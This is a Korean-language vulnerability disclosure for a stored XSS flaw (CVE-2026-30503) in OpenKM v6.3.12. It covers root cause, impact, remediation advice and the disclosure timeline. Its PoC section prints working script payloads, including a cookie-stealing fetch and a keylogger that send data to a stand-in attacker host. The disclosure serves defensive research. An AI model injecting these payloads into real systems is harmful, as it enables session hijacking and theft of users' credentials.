
CVE-2026-30503의 상세 공개: OpenKM v6.3.12의 저장형 XSS 취약점. 근본 원인 분석, PoC 페이로드, 영향 평가, 그리고 보안 연구원과 침투 테스터를 위한 수정 권장 사항을 포함합니다.
이 저장소는 기업 환경에서 널리 사용되는 오픈소스 문서 관리 시스템인 OpenKM v6.3.12에서 확인된 저장형 크로스 사이트 스크립팅 (XSS) 취약점인 CVE-2026-30503의 책임 있는 공개 과정을 문서화합니다.
이 취약점을 통해 인증된 공격자는 지속적인 악성 JavaScript를 애플리케이션에 주입할 수 있으며, 이후 해당 콘텐츠를 보는 모든 사용자(관리자 포함)의 브라우저 컨텍스트에서 실행됩니다.
⚠️ 심각도: 높음 | 공격 벡터: 네트워크 | 필요 권한: 낮음 | 사용자 상호작용: 필요
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-30503 |
| 제품 | OpenKM |
| 영향받는 버전 | v6.3.12 |
| 취약점 분류 | 저장형 크로스 사이트 스크립팅 (XSS) |
| CWE | CWE-79: 웹 페이지 생성 중 입력값의 부적절한 무효화 |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| 연구원 | Dharmendra Kumar |
| 공개 유형 | 책임 있는 / 조정된 공개 |
OpenKM은 무료 오픈소스 문서 관리 시스템(DMS)으로, 비즈니스 문서를 관리, 감사 및 배포하기 위한 웹 인터페이스를 제공합니다. 전 세계 기업, 정부 기관 및 교육 기관에서 사용됩니다.
v6.3.12OpenKM v6.3.12에서 여러 저장형 크로스 사이트 스크립팅 (XSS) 취약점이 발견되었습니다. 낮은 권한의 인증된 공격자는 하나 이상의 입력 필드에 임의의 JavaScript 페이로드를 주입할 수 있습니다. 이러한 페이로드는 애플리케이션 백엔드에 영구적으로 저장되며, 관리자를 포함한 모든 사용자가 해당 페이지나 구성 요소에 접근할 때 자동으로 실행됩니다.
Reflected XSS가 피해자가 조작된 링크를 클릭하도록 요구하는 것과 달리, Stored XSS 페이로드는 애플리케이션 자체에 내장되어 훨씬 더 위험하고 지속적입니다.
이 취약점은 애플리케이션의 입력 처리 파이프라인에서 세 가지 복합적인 약점으로 인해 발생합니다.
사용자 입력 ──► [검증 없음] ──► DB에 저장 ──► [출력 인코딩 없음] ──► 브라우저에 렌더링 ──► XSS 실행
| 약점 | 설명 |
|---|---|
| ❌ 입력 검증 누락 | 애플리케이션이 사용자 제공 필드에서 특수 문자(<, >, ", ', ;)를 제한하거나 삭제하지 않음 |
| ❌ 출력 인코딩 누락 | 저장된 값이 HTML 엔티티 인코딩 없이 HTML에 직접 렌더링됨 |
| ❌ 안전하지 않은 DOM 렌더링 | CSP 또는 삭제 제어 없이 사용자 제공 데이터가 DOM 컨텍스트에 포함됨 |
이 취약점을 성공적으로 악용하면 다음과 같은 결과가 발생할 수 있습니다.
| 위험 | 설명 |
|---|---|
| 🍪 세션 하이재킹 | document.cookie 유출을 통한 인증된 세션 토큰 탈취 |
| 👤 계정 탈취 | 피해자 계정(관리자 계정 포함) 손상 |
| 🔐 자격 증명 수집 | 로그인 자격 증명을 캡처하는 피싱 양식 주입 |
| 📤 데이터 유출 | DMS에서 중요한 문서나 메타데이터를 조용히 추출 |
| ⚙️ 권한 없는 작업 | 피해자를 대신하여 권한 있는 작업 수행 (문서 삭제/수정) |
| 🎯 관리자 표적 | 관리자가 콘텐츠를 검토할 때 관리자 패널에서 페이로드 실행 |
| 🔄 웜 전파 | 자가 복제 XSS 페이로드가 사용자 간 확산 가능 |
⚠️ 면책 조항: 이 PoC는 책임 있는 공개 원칙에 따라 교육 및 보안 연구 목적으로만 공유됩니다. 소유하지 않거나 명시적인 서면 허가를 받지 않은 시스템에 대해 이를 사용하지 마십시오.
// 기본 PoC — 스크립트 실행 증명
<script>alert('CVE-2026-30503 - XSS by Dharmendra Kumar')</script>
// 세션 토큰 유출
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
// 키로거 주입
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
<script>alert(document.cookie)</script>와 같은 XSS 페이로드를 주입합니다.| 권장 사항 | 구현 |
|---|---|
| ✅ 입력 검증 | 허용 문자를 화이트리스트로 지정하고, 모든 사용자 입력에서 HTML 특수 문자를 거부하거나 제거 |
| ✅ 출력 인코딩 | 데이터를 HTML에 렌더링하기 전에 컨텍스트 인식 HTML 인코딩(예: OWASP Java Encoder) 사용 |
| ✅ 콘텐츠 보안 정책 (CSP) | 엄격한 CSP 헤더 구현: Content-Security-Policy: script-src 'self' |
| ✅ HTTPOnly 및 보안 쿠키 | 모든 세션 쿠키에 HttpOnly 및 Secure 플래그 설정하여 JS 접근 방지 |
| ✅ 보안 라이브러리 사용 | HTML 삭제를 위해 OWASP AntiSamy 또는 DOMPurify 통합 |
| ✅ 보안 코드 검토 | 삭제되지 않은 사용자 제어 데이터에 대한 모든 렌더링 경로 감사 |
| ✅ 업그레이드 | 최신 공급업체 패치 적용 또는 패치된 버전으로 업그레이드 |
| 날짜 | 이벤트 |
|---|---|
| 🔍 발견 | OpenKM v6.3.12 보안 평가 중 취약점 확인 |
| 📧 공급업체 통지 | 초기 공개 보고서를 OpenKM 보안 팀에 제출 |
| 🤝 공급업체 확인 | OpenKM 팀이 보고서를 확인 |
| 📝 CVE 할당 | CVE 프로그램에서 CVE-2026-30503 할당 |
| 🌐 공개 공개 | 수정 기간 이후 조정된 공개 |
이 취약점은 책임 있는 공개 모범 사례에 따라 공개되었으며, 공개 전에 공급업체 및 CVE 프로그램과 조정되었습니다.
보안 연구원 | 침투 테스터 | 버그 헌터
Dharmendra Kumar는 웹 애플리케이션 보안, 침투 테스트 및 책임 있는 취약점 공개를 전문으로 하는 독립적인 사이버 보안 연구원입니다. 널리 사용되는 소프트웨어의 실제 보안 결함을 식별하는 데 중점을 두고 있으며, 그의 작업은 전 세계적으로 사용되는 애플리케이션의 보안 태세를 개선하는 데 기여합니다.
전문 분야:
연결:
이 저장소는 교육 및 정보 제공 목적으로만 사용됩니다. 여기에 공유된 취약점 세부 정보 및 개념 증명 페이로드는 책임 있는 공개 원칙에 따라 게시됩니다. 저자는 이 정보의 무단 사용을 묵인, 장려하거나 책임을 지지 않습니다. 모든 시스템에서 보안 테스트를 수행하기 전에 항상 명시적인 서면 허가를 받으십시오.
다음 분들께 특별히 감사드립니다:
⭐ 이 연구가 도움이 되셨다면, 이 저장소에 별표를 눌러 주시기 바랍니다.
© 2026 Dharmendra Kumar — All Rights Reserved